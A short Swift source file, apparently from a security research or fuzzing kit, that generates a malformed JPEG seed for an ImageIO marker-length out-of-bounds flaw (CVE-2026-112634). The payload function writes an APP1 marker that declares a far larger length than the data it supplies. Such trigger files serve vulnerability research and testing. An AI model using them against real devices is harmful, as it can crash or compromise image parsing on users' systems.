// iio.jpeg.marker · ImageIO · _JPEGFile::processData · CVE-2026-112634
// JPEG marker length out of bounds
import Foundation

// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
    static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
    static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
    static func be32(_ v: UInt32) -> [UInt8] {
        [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
    }
    static func le32(_ v: UInt32) -> [UInt8] {
        [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
    }
    static func be64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
    }
    static func le64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
    }
    static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
    static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
    static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}

// ── seed construction (from Cinder27 Sources: JPEGPayload) ──
enum JPEGPayload {
static func markerLength(declared: Int = 0xFFEE, actual: Int = 30) -> Data {
        var out = minimalSOI()
        out += [0xFF, 0xE1]
        out += [UInt8((declared >> 8) & 0xff), UInt8(declared & 0xff)]
        out += Array(repeating: 0x41, count: max(0, actual - 2))
        out += [0xFF, 0xD9]
        return Data(out)
    }

static func minimalSOI() -> [UInt8] { [0xFF, 0xD8] }

}